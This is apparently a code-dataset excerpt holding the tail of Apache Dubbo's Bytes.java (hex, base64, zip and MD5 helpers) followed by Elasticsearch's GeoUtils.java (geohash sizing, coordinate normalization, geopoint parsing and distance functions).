* @param b byte array.
* @param off offset.
* @return double.
*/
public static double bytes2double(byte[] b, int off) {
long j = ((b[off + 7] & 0xFFL) << 0) +
((b[off + 6] & 0xFFL) << 8) +
((b[off + 5] & 0xFFL) << 16) +
((b[off + 4] & 0xFFL) << 24) +
((b[off + 3] & 0xFFL) << 32) +
((b[off + 2] & 0xFFL) << 40) +
((b[off + 1] & 0xFFL) << 48) +
(((long) b[off + 0]) << 56);
return Double.longBitsToDouble(j);
}
/**
* to hex string.
*
* @param bs byte array.
* @return hex string.
*/
public static String bytes2hex(byte[] bs) {
return bytes2hex(bs, 0, bs.length);
}
/**
* to hex string.
*
* @param bs byte array.
* @param off offset.
* @param len length.
* @return hex string.
*/
public static String bytes2hex(byte[] bs, int off, int len) {
if (off < 0) {
throw new IndexOutOfBoundsException("bytes2hex: offset < 0, offset is " + off);
}
if (len < 0) {
throw new IndexOutOfBoundsException("bytes2hex: length < 0, length is " + len);
}
if (off + len > bs.length) {
throw new IndexOutOfBoundsException("bytes2hex: offset + length > array length.");
}
byte b;
int r = off, w = 0;
char[] cs = new char[len * 2];
for (int i = 0; i < len; i++) {
b = bs[r++];
cs[w++] = BASE16[b >> 4 & MASK4];
cs[w++] = BASE16[b & MASK4];
}
return new String(cs);
}
/**
* from hex string.
*
* @param str hex string.
* @return byte array.
*/
public static byte[] hex2bytes(String str) {
return hex2bytes(str, 0, str.length());
}
/**
* from hex string.
*
* @param str hex string.
* @param off offset.
* @param len length.
* @return byte array.
*/
public static byte[] hex2bytes(final String str, final int off, int len) {
if ((len & 1) == 1) {
throw new IllegalArgumentException("hex2bytes: ( len & 1 ) == 1.");
}
if (off < 0) {
throw new IndexOutOfBoundsException("hex2bytes: offset < 0, offset is " + off);
}
if (len < 0) {
throw new IndexOutOfBoundsException("hex2bytes: length < 0, length is " + len);
}
if (off + len > str.length()) {
throw new IndexOutOfBoundsException("hex2bytes: offset + length > array length.");
}
int num = len / 2, r = off, w = 0;
byte[] b = new byte[num];
for (int i = 0; i < num; i++) {
b[w++] = (byte) (hex(str.charAt(r++)) << 4 | hex(str.charAt(r++)));
}
return b;
}
/**
* to base64 string.
*
* @param b byte array.
* @return base64 string.
*/
public static String bytes2base64(byte[] b) {
return bytes2base64(b, 0, b.length, BASE64);
}
/**
* to base64 string.
*
* @param b byte array.
* @return base64 string.
*/
public static String bytes2base64(byte[] b, int offset, int length) {
return bytes2base64(b, offset, length, BASE64);
}
/**
* to base64 string.
*
* @param b byte array.
* @param code base64 code string(0-63 is base64 char,64 is pad char).
* @return base64 string.
*/
public static String bytes2base64(byte[] b, String code) {
return bytes2base64(b, 0, b.length, code);
}
/**
* to base64 string.
*
* @param b byte array.
* @param code base64 code string(0-63 is base64 char,64 is pad char).
* @return base64 string.
*/
public static String bytes2base64(byte[] b, int offset, int length, String code) {
if (code.length() < 64) {
throw new IllegalArgumentException("Base64 code length < 64.");
}
return bytes2base64(b, offset, length, code.toCharArray());
}
/**
* to base64 string.
*
* @param b byte array.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return base64 string.
*/
public static String bytes2base64(byte[] b, char[] code) {
return bytes2base64(b, 0, b.length, code);
}
/**
* to base64 string.
*
* @param bs byte array.
* @param off offset.
* @param len length.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return base64 string.
*/
public static String bytes2base64(final byte[] bs, final int off, final int len, final char[] code) {
if (off < 0) {
throw new IndexOutOfBoundsException("bytes2base64: offset < 0, offset is " + off);
}
if (len < 0) {
throw new IndexOutOfBoundsException("bytes2base64: length < 0, length is " + len);
}
if (off + len > bs.length) {
throw new IndexOutOfBoundsException("bytes2base64: offset + length > array length.");
}
if (code.length < 64) {
throw new IllegalArgumentException("Base64 code length < 64.");
}
boolean pad = code.length > 64; // has pad char.
int num = len / 3, rem = len % 3, r = off, w = 0;
char[] cs = new char[num * 4 + (rem == 0 ? 0 : pad ? 4 : rem + 1)];
for (int i = 0; i < num; i++) {
int b1 = bs[r++] & MASK8, b2 = bs[r++] & MASK8, b3 = bs[r++] & MASK8;
cs[w++] = code[b1 >> 2];
cs[w++] = code[(b1 << 4) & MASK6 | (b2 >> 4)];
cs[w++] = code[(b2 << 2) & MASK6 | (b3 >> 6)];
cs[w++] = code[b3 & MASK6];
}
if (rem == 1) {
int b1 = bs[r++] & MASK8;
cs[w++] = code[b1 >> 2];
cs[w++] = code[(b1 << 4) & MASK6];
if (pad) {
cs[w++] = code[64];
cs[w++] = code[64];
}
} else if (rem == 2) {
int b1 = bs[r++] & MASK8, b2 = bs[r++] & MASK8;
cs[w++] = code[b1 >> 2];
cs[w++] = code[(b1 << 4) & MASK6 | (b2 >> 4)];
cs[w++] = code[(b2 << 2) & MASK6];
if (pad) {
cs[w++] = code[64];
}
}
return new String(cs);
}
/**
* from base64 string.
*
* @param str base64 string.
* @return byte array.
*/
public static byte[] base642bytes(String str) {
return base642bytes(str, 0, str.length());
}
/**
* from base64 string.
*
* @param str base64 string.
* @param offset offset.
* @param length length.
* @return byte array.
*/
public static byte[] base642bytes(String str, int offset, int length) {
return base642bytes(str, offset, length, C64);
}
/**
* from base64 string.
*
* @param str base64 string.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return byte array.
*/
public static byte[] base642bytes(String str, String code) {
return base642bytes(str, 0, str.length(), code);
}
/**
* from base64 string.
*
* @param str base64 string.
* @param off offset.
* @param len length.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return byte array.
*/
public static byte[] base642bytes(final String str, final int off, final int len, final String code) {
if (off < 0) {
throw new IndexOutOfBoundsException("base642bytes: offset < 0, offset is " + off);
}
if (len < 0) {
throw new IndexOutOfBoundsException("base642bytes: length < 0, length is " + len);
}
if (len == 0) {
return new byte[0];
}
if (off + len > str.length()) {
throw new IndexOutOfBoundsException("base642bytes: offset + length > string length.");
}
if (code.length() < 64) {
throw new IllegalArgumentException("Base64 code length < 64.");
}
int rem = len % 4;
if (rem == 1) {
throw new IllegalArgumentException("base642bytes: base64 string length % 4 == 1.");
}
int num = len / 4, size = num * 3;
if (code.length() > 64) {
if (rem != 0) {
throw new IllegalArgumentException("base642bytes: base64 string length error.");
}
char pc = code.charAt(64);
if (str.charAt(off + len - 2) == pc) {
size -= 2;
--num;
rem = 2;
} else if (str.charAt(off + len - 1) == pc) {
size--;
--num;
rem = 3;
}
} else {
if (rem == 2) {
size++;
} else if (rem == 3) {
size += 2;
}
}
int r = off, w = 0;
byte[] b = new byte[size], t = decodeTable(code);
for (int i = 0; i < num; i++) {
int c1 = t[str.charAt(r++)], c2 = t[str.charAt(r++)];
int c3 = t[str.charAt(r++)], c4 = t[str.charAt(r++)];
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
b[w++] = (byte) ((c2 << 4) | (c3 >> 2));
b[w++] = (byte) ((c3 << 6) | c4);
}
if (rem == 2) {
int c1 = t[str.charAt(r++)], c2 = t[str.charAt(r++)];
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
} else if (rem == 3) {
int c1 = t[str.charAt(r++)], c2 = t[str.charAt(r++)], c3 = t[str.charAt(r++)];
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
b[w++] = (byte) ((c2 << 4) | (c3 >> 2));
}
return b;
}
/**
* from base64 string.
*
* @param str base64 string.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return byte array.
*/
public static byte[] base642bytes(String str, char[] code) {
return base642bytes(str, 0, str.length(), code);
}
/**
* from base64 string.
*
* @param str base64 string.
* @param off offset.
* @param len length.
* @param code base64 code(0-63 is base64 char,64 is pad char).
* @return byte array.
*/
public static byte[] base642bytes(final String str, final int off, final int len, final char[] code) {
if (off < 0) {
throw new IndexOutOfBoundsException("base642bytes: offset < 0, offset is " + off);
}
if (len < 0) {
throw new IndexOutOfBoundsException("base642bytes: length < 0, length is " + len);
}
if (len == 0) {
return new byte[0];
}
if (off + len > str.length()) {
throw new IndexOutOfBoundsException("base642bytes: offset + length > string length.");
}
if (code.length < 64) {
throw new IllegalArgumentException("Base64 code length < 64.");
}
int rem = len % 4;
if (rem == 1) {
throw new IllegalArgumentException("base642bytes: base64 string length % 4 == 1.");
}
int num = len / 4, size = num * 3;
if (code.length > 64) {
if (rem != 0) {
throw new IllegalArgumentException("base642bytes: base64 string length error.");
}
char pc = code[64];
if (str.charAt(off + len - 2) == pc) {
size -= 2;
--num;
rem = 2;
} else if (str.charAt(off + len - 1) == pc) {
size--;
--num;
rem = 3;
}
} else {
if (rem == 2) {
size++;
} else if (rem == 3) {
size += 2;
}
}
int r = off, w = 0;
byte[] b = new byte[size];
for (int i = 0; i < num; i++) {
int c1 = indexOf(code, str.charAt(r++)), c2 = indexOf(code, str.charAt(r++));
int c3 = indexOf(code, str.charAt(r++)), c4 = indexOf(code, str.charAt(r++));
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
b[w++] = (byte) ((c2 << 4) | (c3 >> 2));
b[w++] = (byte) ((c3 << 6) | c4);
}
if (rem == 2) {
int c1 = indexOf(code, str.charAt(r++)), c2 = indexOf(code, str.charAt(r++));
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
} else if (rem == 3) {
int c1 = indexOf(code, str.charAt(r++)), c2 = indexOf(code, str.charAt(r++)), c3 = indexOf(code, str.charAt(r++));
b[w++] = (byte) ((c1 << 2) | (c2 >> 4));
b[w++] = (byte) ((c2 << 4) | (c3 >> 2));
}
return b;
}
/**
* zip.
*
* @param bytes source.
* @return compressed byte array.
* @throws IOException
*/
public static byte[] zip(byte[] bytes) throws IOException {
UnsafeByteArrayOutputStream bos = new UnsafeByteArrayOutputStream();
OutputStream os = new DeflaterOutputStream(bos);
try {
os.write(bytes);
} finally {
os.close();
bos.close();
}
return bos.toByteArray();
}
/**
* unzip.
*
* @param bytes compressed byte array.
* @return byte uncompressed array.
* @throws IOException
*/
public static byte[] unzip(byte[] bytes) throws IOException {
UnsafeByteArrayInputStream bis = new UnsafeByteArrayInputStream(bytes);
UnsafeByteArrayOutputStream bos = new UnsafeByteArrayOutputStream();
InputStream is = new InflaterInputStream(bis);
try {
IOUtils.write(is, bos);
return bos.toByteArray();
} finally {
is.close();
bis.close();
bos.close();
}
}
/**
* get md5.
*
* @param str input string.
* @return MD5 byte array.
*/
public static byte[] getMD5(String str) {
return getMD5(str.getBytes());
}
/**
* get md5.
*
* @param source byte array source.
* @return MD5 byte array.
*/
public static byte[] getMD5(byte[] source) {
MessageDigest md = getMessageDigest();
return md.digest(source);
}
/**
* get md5.
*
* @param file file source.
* @return MD5 byte array.
*/
public static byte[] getMD5(File file) throws IOException {
InputStream is = new FileInputStream(file);
try {
return getMD5(is);
} finally {
is.close();
}
}
/**
* get md5.
*
* @param is input stream.
* @return MD5 byte array.
*/
public static byte[] getMD5(InputStream is) throws IOException {
return getMD5(is, 1024 * 8);
}
private static byte hex(char c) {
if (c <= '9') {
return (byte) (c - '0');
}
if (c >= 'a' && c <= 'f') {
return (byte) (c - 'a' + 10);
}
if (c >= 'A' && c <= 'F') {
return (byte) (c - 'A' + 10);
}
throw new IllegalArgumentException("hex string format error [" + c + "].");
}
private static int indexOf(char[] cs, char c) {
for (int i = 0, len = cs.length; i < len; i++) {
if (cs[i] == c) {
return i;
}
}
return -1;
}
private static byte[] decodeTable(String code) {
int hash = code.hashCode();
byte[] ret = DECODE_TABLE_MAP.get(hash);
if (ret == null) {
if (code.length() < 64) {
throw new IllegalArgumentException("Base64 code length < 64.");
}
// create new decode table.
ret = new byte[128];
for (int i = 0; i < 128; i++) // init table.
{
ret[i] = -1;
}
for (int i = 0; i < 64; i++) {
ret[code.charAt(i)] = (byte) i;
}
DECODE_TABLE_MAP.put(hash, ret);
}
return ret;
}
private static byte[] getMD5(InputStream is, int bs) throws IOException {
MessageDigest md = getMessageDigest();
byte[] buf = new byte[bs];
while (is.available() > 0) {
int read, total = 0;
do {
if ((read = is.read(buf, total, bs - total)) <= 0) {
break;
}
total += read;
}
while (total < bs);
md.update(buf);
}
return md.digest();
}
private static MessageDigest getMessageDigest() {
MessageDigest ret = MD.get();
if (ret == null) {
try {
ret = MessageDigest.getInstance("MD5");
MD.set(ret);
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
}
return ret;
}
} | apache/dubbo | dubbo-common/src/main/java/org/apache/dubbo/common/io/Bytes.java |
1,366 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.geo;
import org.apache.lucene.geo.GeoEncodingUtils;
import org.apache.lucene.util.SloppyMath;
import org.elasticsearch.ElasticsearchParseException;
import org.elasticsearch.common.unit.DistanceUnit;
import org.elasticsearch.common.xcontent.LoggingDeprecationHandler;
import org.elasticsearch.common.xcontent.support.XContentMapValues;
import org.elasticsearch.index.fielddata.FieldData;
import org.elasticsearch.index.fielddata.GeoPointValues;
import org.elasticsearch.index.fielddata.MultiGeoPointValues;
import org.elasticsearch.index.fielddata.NumericDoubleValues;
import org.elasticsearch.index.fielddata.SortedNumericDoubleValues;
import org.elasticsearch.index.fielddata.SortingNumericDoubleValues;
import org.elasticsearch.xcontent.NamedXContentRegistry;
import org.elasticsearch.xcontent.XContentParser;
import org.elasticsearch.xcontent.support.MapXContentParser;
import java.io.IOException;
import java.util.Collections;
public class GeoUtils {
/** Maximum valid latitude in degrees. */
public static final double MAX_LAT = 90.0;
/** Minimum valid latitude in degrees. */
public static final double MIN_LAT = -90.0;
/** Maximum valid longitude in degrees. */
public static final double MAX_LON = 180.0;
/** Minimum valid longitude in degrees. */
public static final double MIN_LON = -180.0;
/** Earth ellipsoid major axis defined by WGS 84 in meters */
public static final double EARTH_SEMI_MAJOR_AXIS = 6378137.0; // meters (WGS 84)
/** Earth ellipsoid minor axis defined by WGS 84 in meters */
public static final double EARTH_SEMI_MINOR_AXIS = 6356752.314245; // meters (WGS 84)
/** Earth mean radius defined by WGS 84 in meters */
public static final double EARTH_MEAN_RADIUS = 6371008.7714D; // meters (WGS 84)
/** Earth ellipsoid equator length in meters */
public static final double EARTH_EQUATOR = 2 * Math.PI * EARTH_SEMI_MAJOR_AXIS;
/** Earth ellipsoid polar distance in meters */
public static final double EARTH_POLAR_DISTANCE = Math.PI * EARTH_SEMI_MINOR_AXIS;
/** rounding error for quantized latitude and longitude values */
public static final double TOLERANCE = 1E-6;
private static final int QUAD_MAX_LEVELS_POSSIBLE = 50;
private static final int GEOHASH_MAX_LEVELS_POSSIBLE = 24;
/** Returns true if latitude is actually a valid latitude value.*/
public static boolean isValidLatitude(double latitude) {
if (Double.isNaN(latitude) || Double.isInfinite(latitude) || latitude < GeoUtils.MIN_LAT || latitude > GeoUtils.MAX_LAT) {
return false;
}
return true;
}
/** Returns true if longitude is actually a valid longitude value. */
public static boolean isValidLongitude(double longitude) {
if (Double.isNaN(longitude) || Double.isInfinite(longitude) || longitude < GeoUtils.MIN_LON || longitude > GeoUtils.MAX_LON) {
return false;
}
return true;
}
/**
* Calculate the width (in meters) of geohash cells at a specific level
* @param level geohash level must be greater or equal to zero
* @return the width of cells at level in meters
*/
public static double geoHashCellWidth(int level) {
assert level >= 0;
// Geohash cells are split into 32 cells at each level. the grid
// alternates at each level between a 8x4 and a 4x8 grid
return EARTH_EQUATOR / (1L << ((((level + 1) / 2) * 3) + ((level / 2) * 2)));
}
/**
* Calculate the width (in meters) of quadtree cells at a specific level
* @param level quadtree level must be greater or equal to zero
* @return the width of cells at level in meters
*/
public static double quadTreeCellWidth(int level) {
assert level >= 0;
return EARTH_EQUATOR / (1L << level);
}
/**
* Calculate the height (in meters) of geohash cells at a specific level
* @param level geohash level must be greater or equal to zero
* @return the height of cells at level in meters
*/
public static double geoHashCellHeight(int level) {
assert level >= 0;
// Geohash cells are split into 32 cells at each level. the grid
// alternates at each level between a 8x4 and a 4x8 grid
return EARTH_POLAR_DISTANCE / (1L << ((((level + 1) / 2) * 2) + ((level / 2) * 3)));
}
/**
* Calculate the height (in meters) of quadtree cells at a specific level
* @param level quadtree level must be greater or equal to zero
* @return the height of cells at level in meters
*/
public static double quadTreeCellHeight(int level) {
assert level >= 0;
return EARTH_POLAR_DISTANCE / (1L << level);
}
/**
* Calculate the size (in meters) of geohash cells at a specific level
* @param level geohash level must be greater or equal to zero
* @return the size of cells at level in meters
*/
public static double geoHashCellSize(int level) {
assert level >= 0;
final double w = geoHashCellWidth(level);
final double h = geoHashCellHeight(level);
return Math.sqrt(w * w + h * h);
}
/**
* Calculate the size (in meters) of quadtree cells at a specific level
* @param level quadtree level must be greater or equal to zero
* @return the size of cells at level in meters
*/
public static double quadTreeCellSize(int level) {
assert level >= 0;
return Math.sqrt(EARTH_POLAR_DISTANCE * EARTH_POLAR_DISTANCE + EARTH_EQUATOR * EARTH_EQUATOR) / (1L << level);
}
/**
* Calculate the number of levels needed for a specific precision. Quadtree
* cells will not exceed the specified size (diagonal) of the precision.
* @param meters Maximum size of cells in meters (must greater than zero)
* @return levels need to achieve precision
*/
public static int quadTreeLevelsForPrecision(double meters) {
assert meters >= 0;
if (meters == 0) {
return QUAD_MAX_LEVELS_POSSIBLE;
} else {
final double ratio = 1 + (EARTH_POLAR_DISTANCE / EARTH_EQUATOR); // cell ratio
final double width = Math.sqrt((meters * meters) / (ratio * ratio)); // convert to cell width
final long part = Math.round(Math.ceil(EARTH_EQUATOR / width));
final int level = Long.SIZE - Long.numberOfLeadingZeros(part) - 1; // (log_2)
return (part <= (1L << level)) ? level : (level + 1); // adjust level
}
}
/**
* Calculate the number of levels needed for a specific precision. QuadTree
* cells will not exceed the specified size (diagonal) of the precision.
* @param distance Maximum size of cells as unit string (must greater or equal to zero)
* @return levels need to achieve precision
*/
public static int quadTreeLevelsForPrecision(String distance) {
return quadTreeLevelsForPrecision(DistanceUnit.METERS.parse(distance, DistanceUnit.DEFAULT));
}
/**
* Calculate the number of levels needed for a specific precision. GeoHash
* cells will not exceed the specified size (diagonal) of the precision.
* @param meters Maximum size of cells in meters (must greater or equal to zero)
* @return levels need to achieve precision
*/
public static int geoHashLevelsForPrecision(double meters) {
assert meters >= 0;
if (meters == 0) {
return GEOHASH_MAX_LEVELS_POSSIBLE;
} else {
final double ratio = 1 + (EARTH_POLAR_DISTANCE / EARTH_EQUATOR); // cell ratio
final double width = Math.sqrt((meters * meters) / (ratio * ratio)); // convert to cell width
final double part = Math.ceil(EARTH_EQUATOR / width);
if (part == 1) return 1;
final int bits = (int) Math.round(Math.ceil(Math.log(part) / Math.log(2)));
final int full = bits / 5; // number of 5 bit subdivisions
final int left = bits - full * 5; // bit representing the last level
final int even = full + (left > 0 ? 1 : 0); // number of even levels
final int odd = full + (left > 3 ? 1 : 0); // number of odd levels
return even + odd;
}
}
/**
* Calculate the number of levels needed for a specific precision. GeoHash
* cells will not exceed the specified size (diagonal) of the precision.
* @param distance Maximum size of cells as unit string (must greater or equal to zero)
* @return levels need to achieve precision
*/
public static int geoHashLevelsForPrecision(String distance) {
return geoHashLevelsForPrecision(DistanceUnit.METERS.parse(distance, DistanceUnit.DEFAULT));
}
/**
* Normalize longitude to lie within the -180 (exclusive) to 180 (inclusive) range.
*
* @param lon Longitude to normalize
* @return The normalized longitude.
*/
public static double normalizeLon(double lon) {
if (lon > 180d || lon <= -180d) {
lon = centeredModulus(lon, 360);
}
// avoid -0.0
return lon + 0d;
}
/**
* Normalize latitude to lie within the -90 to 90 (both inclusive) range.
* <p>
* Note: You should not normalize longitude and latitude separately,
* because when normalizing latitude it may be necessary to
* add a shift of 180° in the longitude.
* For this purpose, you should call the
* {@link #normalizePoint(GeoPoint)} function.
*
* @param lat Latitude to normalize
* @return The normalized latitude.
* @see #normalizePoint(GeoPoint)
*/
public static double normalizeLat(double lat) {
if (lat > 90d || lat < -90d) {
lat = centeredModulus(lat, 360);
if (lat < -90) {
lat = -180 - lat;
} else if (lat > 90) {
lat = 180 - lat;
}
}
// avoid -0.0
return lat + 0d;
}
/**
* Normalize the geo {@code Point} for its coordinates to lie within their
* respective normalized ranges.
* <p>
* Note: A shift of 180° is applied in the longitude if necessary,
* in order to normalize properly the latitude.
*
* @param point The point to normalize in-place.
*/
public static void normalizePoint(GeoPoint point) {
normalizePoint(point, true, true);
}
/**
* Normalize the geo {@code Point} for the given coordinates to lie within
* their respective normalized ranges.
* <p>
* You can control which coordinate gets normalized with the two flags.
* <p>
* Note: A shift of 180° is applied in the longitude if necessary,
* in order to normalize properly the latitude.
* If normalizing latitude but not longitude, it is assumed that
* the longitude is in the form x+k*360, with x in ]-180;180],
* and k is meaningful to the application.
* Therefore x will be adjusted while keeping k preserved.
*
* @param point The point to normalize in-place.
* @param normLat Whether to normalize latitude or leave it as is.
* @param normLon Whether to normalize longitude.
*/
public static void normalizePoint(GeoPoint point, boolean normLat, boolean normLon) {
double[] pt = { point.lon(), point.lat() };
normalizePoint(pt, normLon, normLat);
point.reset(pt[1], pt[0]);
}
public static void normalizePoint(double[] lonLat) {
normalizePoint(lonLat, true, true);
}
public static boolean needsNormalizeLat(double lat) {
return lat > 90 || lat < -90;
}
public static boolean needsNormalizeLon(double lon) {
return lon > 180 || lon < -180;
}
public static void normalizePoint(double[] lonLat, boolean normLon, boolean normLat) {
assert lonLat != null && lonLat.length == 2;
normLat = normLat && needsNormalizeLat(lonLat[1]);
normLon = normLon && (needsNormalizeLon(lonLat[0]) || normLat);
if (normLat) {
lonLat[1] = centeredModulus(lonLat[1], 360);
boolean shift = true;
if (lonLat[1] < -90) {
lonLat[1] = -180 - lonLat[1];
} else if (lonLat[1] > 90) {
lonLat[1] = 180 - lonLat[1];
} else {
// No need to shift the longitude, and the latitude is normalized
shift = false;
}
if (shift) {
if (normLon) {
lonLat[0] += 180;
} else {
// Longitude won't be normalized,
// keep it in the form x+k*360 (with x in ]-180;180])
// by only changing x, assuming k is meaningful for the user application.
lonLat[0] += normalizeLon(lonLat[0]) > 0 ? -180 : 180;
}
}
}
if (normLon) {
lonLat[0] = centeredModulus(lonLat[0], 360);
}
}
public static double centeredModulus(double dividend, double divisor) {
double rtn = dividend % divisor;
if (rtn <= 0) {
rtn += divisor;
}
if (rtn > divisor / 2) {
rtn -= divisor;
}
return rtn;
}
/**
* Parse a {@link GeoPoint} with a {@link XContentParser}:
*
* @param parser {@link XContentParser} to parse the value from
* @return new {@link GeoPoint} parsed from the parse
*/
public static GeoPoint parseGeoPoint(XContentParser parser) throws IOException, ElasticsearchParseException {
return parseGeoPoint(parser, false);
}
/**
* Parses the value as a geopoint. The following types of values are supported:
* <p>
* Object: has to contain either lat and lon or geohash or type and coordinates fields
* <p>
* String: expected to be in "latitude, longitude" format or a geohash
* <p>
* Array: two or more elements, the first element is longitude, the second is latitude, the rest is ignored if ignoreZValue is true
*/
public static GeoPoint parseGeoPoint(Object value, final boolean ignoreZValue) throws ElasticsearchParseException {
try (
XContentParser parser = new MapXContentParser(
NamedXContentRegistry.EMPTY,
LoggingDeprecationHandler.INSTANCE,
Collections.singletonMap("null_value", value),
null
)
) {
parser.nextToken(); // start object
parser.nextToken(); // field name
parser.nextToken(); // field value
return parseGeoPoint(parser, ignoreZValue);
} catch (IOException ex) {
throw new ElasticsearchParseException("error parsing geopoint", ex);
}
}
/**
* Represents the point of the geohash cell that should be used as the value of geohash
*/
public enum EffectivePoint {
TOP_LEFT,
TOP_RIGHT,
BOTTOM_LEFT,
BOTTOM_RIGHT
}
/**
* Parse a geopoint represented as an object, string or an array. If the geopoint is represented as a geohash,
* the left bottom corner of the geohash cell is used as the geopoint coordinates.GeoBoundingBoxQueryBuilder.java
*/
public static GeoPoint parseGeoPoint(XContentParser parser, final boolean ignoreZValue) throws IOException,
ElasticsearchParseException {
return parseGeoPoint(parser, ignoreZValue, EffectivePoint.BOTTOM_LEFT);
}
/**
* Parse a {@link GeoPoint} with a {@link XContentParser}. A geo_point has one of the following forms:
*
* <ul>
* <li>Object: <pre>{"lat": <i><latitude></i>, "lon": <i><longitude></i>}</pre></li>
* <li>Object: <pre>{"type": <i>Point</i>, "coordinates": <i><array of doubles></i>}</pre></li>
* <li>String: <pre>"<i><latitude></i>,<i><longitude></i>"</pre></li>
* <li>Geohash: <pre>"<i><geohash></i>"</pre></li>
* <li>Array: <pre>[<i><longitude></i>,<i><latitude></i>]</pre></li>
* </ul>
*
* @param parser {@link XContentParser} to parse the value from
* @param ignoreZValue {@link XContentParser} to not throw an error if 3 dimensional data is provided
* @return new {@link GeoPoint} parsed from the parse
*/
public static GeoPoint parseGeoPoint(XContentParser parser, final boolean ignoreZValue, final EffectivePoint effectivePoint)
throws IOException, ElasticsearchParseException {
return geoPointParser.parsePoint(
parser,
ignoreZValue,
value -> new GeoPoint().resetFromString(value, ignoreZValue, effectivePoint)
);
}
private static final GenericPointParser<GeoPoint> geoPointParser = new GenericPointParser<>("geo_point", "lon", "lat") {
@Override
public void assertZValue(boolean ignoreZValue, double zValue) {
GeoPoint.assertZValue(ignoreZValue, zValue);
}
@Override
public GeoPoint createPoint(double x, double y) {
// GeoPoint takes lat,lon which is the reverse order from CartesianPoint
return new GeoPoint(y, x);
}
@Override
public String fieldError() {
return "field must be either lat/lon, geohash string or type/coordinates";
}
};
/**
* Parse a {@link GeoPoint} from a string. The string must have one of the following forms:
*
* <ul>
* <li>Latitude, Longitude form: <pre>"<i><latitude></i>,<i><longitude></i>"</pre></li>
* <li>Geohash form:: <pre>"<i><geohash></i>"</pre></li>
* </ul>
*
* @param val a String to parse the value from
* @return new parsed {@link GeoPoint}
*/
public static GeoPoint parseFromString(String val) {
GeoPoint point = new GeoPoint();
return point.resetFromString(val, false, EffectivePoint.BOTTOM_LEFT);
}
/**
* Parse a precision that can be expressed as an integer or a distance measure like "1km", "10m".
*
* The precision is expressed as a number between 1 and 12 and indicates the length of geohash
* used to represent geo points.
*
* @param parser {@link XContentParser} to parse the value from
* @return int representing precision
*/
public static int parsePrecision(XContentParser parser) throws IOException, ElasticsearchParseException {
XContentParser.Token token = parser.currentToken();
if (token.equals(XContentParser.Token.VALUE_NUMBER)) {
return XContentMapValues.nodeIntegerValue(parser.intValue());
} else {
String precision = parser.text();
try {
// we want to treat simple integer strings as precision levels, not distances
return XContentMapValues.nodeIntegerValue(precision);
} catch (NumberFormatException e) {
// try to parse as a distance value
final int parsedPrecision = GeoUtils.geoHashLevelsForPrecision(precision);
try {
return checkPrecisionRange(parsedPrecision);
} catch (IllegalArgumentException e2) {
// this happens when distance too small, so precision > 12. We'd like to see the original string
throw new IllegalArgumentException("precision too high [" + precision + "]", e2);
}
}
}
}
/**
* Checks that the precision is within range supported by elasticsearch - between 1 and 12
*
* Returns the precision value if it is in the range and throws an IllegalArgumentException if it
* is outside the range.
*/
public static int checkPrecisionRange(int precision) {
if ((precision < 1) || (precision > 12)) {
throw new IllegalArgumentException("Invalid geohash aggregation precision of " + precision + ". Must be between 1 and 12.");
}
return precision;
}
/** Return the distance (in meters) between 2 lat,lon geo points using the haversine method implemented by lucene */
public static double arcDistance(double lat1, double lon1, double lat2, double lon2) {
return SloppyMath.haversinMeters(lat1, lon1, lat2, lon2);
}
/**
* Return the distance (in meters) between 2 lat,lon geo points using a simple tangential plane
* this provides a faster alternative to {@link GeoUtils#arcDistance} but is inaccurate for distances greater than
* 4 decimal degrees
*/
public static double planeDistance(double lat1, double lon1, double lat2, double lon2) {
double x = Math.toRadians(lon2 - lon1) * Math.cos(Math.toRadians((lat2 + lat1) / 2.0));
double y = Math.toRadians(lat2 - lat1);
return Math.sqrt(x * x + y * y) * EARTH_MEAN_RADIUS;
}
/**
* Return a {@link SortedNumericDoubleValues} instance that returns the distances to a list of geo-points
* for each document.
*/
public static SortedNumericDoubleValues distanceValues(
final GeoDistance distance,
final DistanceUnit unit,
final MultiGeoPointValues geoPointValues,
final GeoPoint... fromPoints
) {
final GeoPointValues singleValues = FieldData.unwrapSingleton(geoPointValues);
if (singleValues != null && fromPoints.length == 1) {
return FieldData.singleton(new NumericDoubleValues() {
@Override
public boolean advanceExact(int doc) throws IOException {
return singleValues.advanceExact(doc);
}
@Override
public double doubleValue() throws IOException {
final GeoPoint from = fromPoints[0];
final GeoPoint to = singleValues.pointValue();
return distance.calculate(from.lat(), from.lon(), to.lat(), to.lon(), unit);
}
});
} else {
return new SortingNumericDoubleValues() {
@Override
public boolean advanceExact(int target) throws IOException {
if (geoPointValues.advanceExact(target)) {
resize(geoPointValues.docValueCount() * fromPoints.length);
int v = 0;
for (int i = 0; i < geoPointValues.docValueCount(); ++i) {
final GeoPoint point = geoPointValues.nextValue();
for (GeoPoint from : fromPoints) {
values[v] = distance.calculate(from.lat(), from.lon(), point.lat(), point.lon(), unit);
v++;
}
}
sort();
return true;
} else {
return false;
}
}
};
}
}
/**
* Transforms the provided longitude to the equivalent in lucene quantize space.
*/
public static double quantizeLon(double lon) {
return GeoEncodingUtils.decodeLongitude(GeoEncodingUtils.encodeLongitude(lon));
}
/**
* Transforms the provided latitude to the equivalent in lucene quantize space.
*/
public static double quantizeLat(double lat) {
return GeoEncodingUtils.decodeLatitude(GeoEncodingUtils.encodeLatitude(lat));
}
/**
* Transforms the provided longitude to the previous longitude in lucene quantize space.
*/
public static double quantizeLonDown(double lon) {
return GeoEncodingUtils.decodeLongitude(GeoEncodingUtils.encodeLongitude(lon) - 1);
}
/**
* Transforms the provided latitude to the next latitude in lucene quantize space.
*/
public static double quantizeLatUp(double lat) {
return GeoEncodingUtils.decodeLatitude(GeoEncodingUtils.encodeLatitude(lat) + 1);
}
private GeoUtils() {}
}
